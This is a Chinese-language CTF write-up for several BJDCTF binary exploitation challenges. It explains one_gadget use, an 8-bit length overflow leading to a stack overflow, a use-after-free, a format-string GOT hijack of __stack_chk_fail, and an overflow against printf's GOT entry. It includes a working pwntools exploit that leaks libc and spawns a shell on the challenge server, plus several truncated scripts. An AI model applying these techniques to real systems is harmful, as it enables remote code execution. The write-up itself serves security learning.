BJDCTF的writeup,前几道题目都比较友好。
1 one_gadget
1.1 题目分析
点开init
函数,里面有一个泄露了printf
的地址,是这个题目给的额外条件吧。
再看题目可知我们输入了一个地址,然后就直接执行那个地址就可以getshell,是不是很厉害,这就是one_gadget.
1.2 关于one_gadget 更详细的介绍
one-gadget
是glibc
里调用execve('/bin/sh', NULL, NULL)
的一段非常有用的gadget
。在我们能够控制ip(也就是pc)的时候,用one-gadget
来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system("sh")
,这个时候one gadget
就可以搞定了。
我们一般用one_gadget这个工具来寻找这样的gadget。
1.3 如何利用工具寻找one_gadget
如果远程的libc版本和你本地一样,或者你想在本地试验时,先用
ldd 文件名
命令找到自己本地的libc
目录然后再用刚才安装好的工具查看
libc
文件就可以找到one_gadget
对于libc的偏移了。
如果题目给你了它远程的
libc
文件的话,直接对那个libc
文件使用就行
1.4 对于one_gadget的一点经验
- 那个红色
constraints
就是调用这个gadget
需要满足的条件,一般64位的很好满足,32位的基本用不了。 - 一个用不了可以多试几个后面的。
- 前期栈题可能用到的不多,后面堆题经常用来作为劫持
malloc_hook
的内容,也可以配合realloc_hook
来调整栈环境使得满足one_gadget
的利用条件。1.5 exp
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
context.log_level = 'debug'
#sh = process('./one_gadget')
libc = ELF('./libc-2.29.so')
sh = remote("node3.buuoj.cn",27231)
sh.recvuntil("here is the gift for u:")
#gdb.attach(sh)
libc_base = int(sh.recvuntil('\n')[:-1],16) - libc.symbols['printf']
log.success('libc_addr: ' + hex(libc_base))
one_gadget = libc_base +0x106ef8
sh.sendline(str(one_gadget))
sh.interactive()
2 r2t3
2.1题目分析
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
读入的长度只要小于3或者大于8都会直接将程序结束,看起来好像没有漏洞,但是注意这个v3
是个__int8
的,也就是只有一个字节,只要我们的长度足够大,就可以将这个长度溢出到我们需要的范围,进而在strcpy
的时候构成栈溢出
1 | from pwn import * |
3 girlfriend
这道题是个uaf,挺简单,刚学堆的可以做一下这个题熟悉一下堆题。
1 | from pwn import * |
4 r2t4
一道格式化字符串题目
4.1题目分析
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
这里的buf
可以直接溢出,有后门函数,但是开启了canary
保护。
直接把后门函数的地址写到其它函数的got表里行不通,因为后面没有别的函数调用了
注意到我们触发canary的话
也会输出一个stack smashing detect ***
这种东西
1 | void __attribute__ ((noreturn)) __stack_chk_fail (void) |
其实就是上面这个函数,我们可以通过劫持这个函数的got来拿shell
4.2 exp
1 | from pwn import * |
5 test
用od ????来读flag就行,还有类似*这样的通配符,很神奇
1 | import binascii |
6 secret
有一个buf那个地方可以溢出到后面的一个变量,在后面每次执行的时候那个变量指向的内容都会减一,所以可以把这个地方溢出成printf的got表,手动过16次就ok了
1 | from pwn import * |